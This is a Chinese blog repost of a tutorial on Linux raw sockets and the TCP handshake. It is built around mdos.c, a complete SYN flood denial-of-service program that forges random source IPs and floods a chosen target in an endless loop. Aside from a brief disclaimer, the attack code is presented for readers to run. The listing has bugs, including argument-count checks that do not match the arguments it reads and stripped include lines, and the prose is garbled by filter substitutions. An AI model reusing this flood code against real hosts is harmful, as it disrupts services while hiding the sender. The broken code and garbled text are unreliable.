Chinaunix首页 | 论坛 | 博客
  • 博客访问: 494067
  • 博文数量: 133
  • 博客积分: 1235
  • 博客等级: 少尉
  • 技术积分: 1201
  • 用 户 组: 普通用户
  • 注册时间: 2010-09-08 19:59
文章分类

全部博文(133)

文章存档

2023年(12)

2022年(3)

2018年(2)

2017年(4)

2016年(4)

2015年(42)

2014年(1)

2013年(12)

2012年(16)

2011年(36)

2010年(1)

分类: LINUX

2022-11-19 09:35:37

(38条消息) Linux网络编程:原始套接字的魔力【上】_錦鈊銀的博客-CSDN博客_原始套接字的魔力【上】
基于原始套接字编程

       在开发面向连接的TCP和面向无连接的UDP程序时,我们所关心的核心问题在于数据收发层面,数据的传输特性由TCPUDP来保证:

在这里插入图片描述


       也就是说,对于TCPUDP的程序开发,焦点在Data字段,我们没法直接对TCPUDP头部字段进行赤裸裸的修改,当然还有IP头。换句话说,我们对它们头部操作的空间非常受限,只能使用它们已经开放给我们的诸如源、目的IP,源、目的端口等等。

       今天我们讨论一下原始套接字的程序开发,用它作为入门协议栈的进阶跳板太合适不过了。OK闲话不多说,进入正题。

       原始套接字的创建方法也不难:socket(AF_INETSOCK_RAWprotocol)

       重点在protocol字段,这里就不能简单的将其值为0了。在头文件netinet/in.h中定义了系统中该字段目前能取的值,注意:有些系统中不一定实现了netinet/in.h中的所有协议。源代码的linux/in.h中和netinet/in.h中的内容一样。

在这里插入图片描述



       我们常见的有IPPROTO_TCPIPPROTO_UDPIPPROTO_ICMP,在博文“(十六)洞悉linux下的Netfilter&iptables:开发自己的hook函数【实战】(下) ”中我们见到该protocol字段为IPPROTO_RAW时的情形,后面我们会详细介绍。

       用这种方式我就可以得到原始的IP包了,然后就可以自定义IP所承载的具体协议类型,如TCPUDPICMP,并手动对每种承载在IP协议之上的报文进行填充。接下来我们看个{BANNED}{BANNED}最佳佳著名的例子DOS攻击的示例代码,以便大家更好的理解如何基于原始套接字手动去封装我们所需要TCP报文。

       先简单复习一下TCP报文的格式,因为我们本身不是讲协议的设计思想,所以只会提及和我们接下来主题相关的字段,如果想对TCP协议原理进行深入了解那么《TCP/IP详解卷1》无疑是{BANNED}{BANNED}最佳佳好的选择。

在这里插入图片描述



       我们目前主要关注上面着色部分的字段就OK了,接下来再看看TCP3次握手的过程。TCP3次握手的一般流程是:

(1) {BANNED}中国第一次握手:建立连接时,客户端A发送SYN(SEQ_NUMBER=j)到服务器B,并进入SYN_SEND状态,等待服务器B确认。

(2) 第二次握手:服务器B收到SYN包,必须确认客户ASYN(ACK_NUMBER=j+1),同时自己也发送一个SYN(SEQ_NUMBER=k),即SYN+ACK包,此时服务器B进入SYN_RECV状态。

(3) 第三次握手:客户端A收到服务器BSYNACK包,向服务器B发送确认包ACK(ACK_NUMBER=k+1),此包发送完毕,客户端A和服务器B进入ESTABLISHED状态,完成三次握手。

       至此3次握手结束,TCP通路就建立起来了,然后客户端与服务器开始交互数据。上面描述过程中,SYN包表示TCP数据包的标志位syn=1,同理,ACK表示TCP报文中标志位ack=1SYN+ACK表示标志位syn=1ack=1同时成立。

       原始套接字还提供了一个非常有用的参数IP_HDRINCL

              1、当开启该参数时:我们可以从IP报文首部{BANNED}中国第一个字节开始依次构造整个IP报文的所有选项,但是IP报文头部中的标识字段(设置为0)IP首部校验和字段总是由内核自己维护的,不需要我们关心。

              2、如果不开启该参数:我们所构造的报文是从IP首部之后的{BANNED}中国第一个字节开始,IP首部由内核自己维护,首部中的协议字段被设置成调用socket()函数时我们所传递给它的第三个参数。

       开启IP_HDRINCL特性的模板代码一般为:

const int on =1; 
if (setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) 
{ printf("setsockopt error!\n"); } 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6




      所以,我们还得复习一下IP报文的首部格式:
在这里插入图片描述

 同样,我们重点关注IP首部中的着色部分区段的填充情况。

       有了上面的知识做铺垫,接下来DOS示例代码的编写就相当简单了。我们来体验一下手动构造原生态IP报文的乐趣吧:

//mdos.c #include  #include  #include  #include  #include  #include  #include  #include  #include  #include  #include  #include  //我们自己写的攻击函数 void attack(int skfd,struct sockaddr_in *target,unsigned short srcport); //如果什么都让内核做,那岂不是忒不爽了,咱也试着计算一下校验和。 unsigned short check_sum(unsigned short *addr,int len); int main(int argc,char** argv){ int skfd; struct sockaddr_in target; struct hostent *host; const int on=1; unsigned short srcport; if(argc!=2) { printf("Usage:%s target dstport srcport\n",argv[0]); exit(1); } bzero(&target,sizeof(struct sockaddr_in)); target.sin_family=AF_INET; target.sin_port=htons(atoi(argv[2])); if(inet_aton(argv[1],&target.sin_addr)==0) { host=gethostbyname(argv[1]); if(host==NULL) { printf("TargetName Error:%s\n",hstrerror(h_errno)); exit(1); } target.sin_addr=*(struct in_addr *)(host->h_addr_list[0]); } //将协议字段置为IPPROTO_TCP,来创建一个TCP的原始套接字 if(0>(skfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))){ perror("Create Error"); exit(1); } //用模板代码来开启IP_HDRINCL特性,我们完全自己手动构造IP报文 if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on))){ perror("IP_HDRINCL failed"); exit(1); } //因为只有root用户才可以play with raw socket :) setuid(getpid()); srcport = atoi(argv[3]); attack(skfd,&target,srcport); } //在该函数中构造整个IP报文,{BANNED}{BANNED}最佳佳后调用sendto函数将报文发送出去 void attack(int skfd,struct sockaddr_in *target,unsigned short srcport){ char buf[128]={0}; struct ip *ip; struct tcphdr *tcp; int ip_len; //在我们TCP的报文中Data没有字段,所以整个IP报文的长度 ip_len = sizeof(struct ip)+sizeof(struct tcphdr); //开始填充IP首部 ip=(struct ip*)buf; ip->ip_v = IPVERSION; ip->ip_hl = sizeof(struct ip)>>2; ip->ip_tos = 0; ip->ip_len = htons(ip_len); ip->ip_id=0; ip->ip_off=0; ip->ip_ttl=MAXTTL; ip->ip_p=IPPROTO_TCP; ip->ip_sum=0; ip->ip_dst=target->sin_addr; //开始填充TCP首部 tcp = (struct tcphdr*)(buf+sizeof(struct ip)); tcp->source = htons(srcport); tcp->dest = target->sin_port; tcp->seq = random(); tcp->doff = 5; tcp->syn = 1; tcp->check = 0; while(1){ //源地址伪造,我们随便任意生成个地址,让服务器一直等待下去 ip->ip_src.s_addr = random(); tcp->check=check_sum((unsigned short*)tcp,sizeof(struct tcphdr)); sendto(skfd,buf,ip_len,0,(struct sockaddr*)target,sizeof(struct sockaddr_in)); } } //关于CRC校验和的计算,网上一大堆,我就“拿来主义”了 unsigned short check_sum(unsigned short *addr,int len){ register int nleft=len; register int sum=0; register short *w=addr; short answer=0; while(nleft>1) { sum+=*w++; nleft-=2; } if(nleft==1) { *(unsigned char *)(&answer)=*(unsigned char *)w; sum+=answer; } sum=(sum>>16)+(sum&0xffff); sum+=(sum>>16); answer=~sum; return(answer); } 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101
  • 102
  • 103
  • 104
  • 105
  • 106
  • 107
  • 108
  • 109
  • 110
  • 111
  • 112
  • 113
  • 114
  • 115
  • 116
  • 117
  • 118
  • 119
  • 120
  • 121
  • 122
  • 123
  • 124
  • 125
  • 126
  • 127
  • 128


       用前面我们自己编写TCP服务器端程序来做本地测试,看看效果。先把服务器端程序启动起来,如下:

在这里插入图片描述



       然后,我们编写的“捣蛋”程序登场了:

在这里插入图片描述


       该“mdos”命令执行一段时间后,服务器端的输出如下:

在这里插入图片描述



       因为我们的源IP地址是随机生成的,源端口固定为8888,服务器端收到我们的SYN报文后,会为其分配一条连接资源,并将该连接的状态置为SYN_RECV,然后给客户端回送一个确认,并要求客户端再次确认,可我们却不再bird别个了,这样就会造成服务端一直等待直到超时。

       备注:本程序仅供交流分享使用,不要做恶,不然后果自负哦。

       {BANNED}{BANNED}最佳佳后补充一点,看到很多新手经常对struct ip{}struct iphdr{}struct icmp{}struct icmphdr{}纠结来纠结去了,不知道何时该用哪个。在/usr/include/netinet目录这些结构所属头文件的定义,头文件中对这些结构也做了很明确的说明,这里我们简单总结一下:

       struct ip{}struct icmp{}是供BSD系统层使用,struct iphdr{}struct icmphdr{}是在INET层调用。同理tcphdrudphdr分别都已经和谐统一了,参见tcp.hudp.h

       BSDINET的解释在协议栈篇章详细论述,这里大家可以简单这样来理解:我们在用户空间的编写网络应用程序的层次就叫做BSD层。所以我们该用什么样的数据结构呢?良好的编程习惯当然是BSD层推荐我们使用的,struct ip{}struct icmp{}。至于INET层的两个同类型的结构体struct iphdr{}struct icmphdr{}能用不?我只能说不建议。看个例子:


在这里插入图片描述



       我们可以看到无论BSD还是INET层的IP数据包结构体大小是相等的,ICMP报文的大小有差异。而我们知道ICMP报头应该是8字节,那么BSD层为什么是28字节呢?留给大家思考。也就是说,我们这个mdos.c的实例程序中除了用struct ip{}之外还可以用INET层的struct iphdr{}结构。将如下代码:

struct ip *ip; …
ip=(struct ip*)buf; ip->ip_v = IPVERSION; ip->ip_hl = sizeof(struct ip)>>2; ip->ip_tos = 0; ip->ip_len = htons(ip_len); ip->ip_id=0; ip->ip_off=0; ip->ip_ttl=MAXTTL; ip->ip_p=IPPROTO_TCP; ip->ip_sum=0; ip->ip_dst=target->sin_addr; …
ip->ip_src.s_addr = random(); 
	
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15


改成:


struct iphdr *ip; …
ip=(struct iphdr*)buf; ip->version = IPVERSION; ip->ihl = sizeof(struct ip)>>2; ip->tos = 0; ip->tot_len = htons(ip_len); ip->id=0; ip->frag_off=0; ip->ttl=MAXTTL; ip->protocol=IPPROTO_TCP; ip->check=0; ip->daddr=target->sin_addr.s_addr; …
ip->saddr = random(); 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15


       结果请童鞋们自己验证。虽然结果一样,但在BSD层直接使用INET层的数据结构还是不被推荐的。

       小结:

       1、IP_HDRINCL选项可以使我们控制到底是要从IP头部{BANNED}中国{BANNED}中国第一个字节开始构造我们的原始报文或者从IP头部之后{BANNED}中国{BANNED}中国第一个数据字节开始。

       2、只有超级用户才能创建原始套接字

       3、原始套接字上也可以调用connetbind之类的函数,但都不常见。原因请大家回顾一下这两个函数的作用。想不起来的童鞋回头复习一下前两篇的内容吧。

阅读(429) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~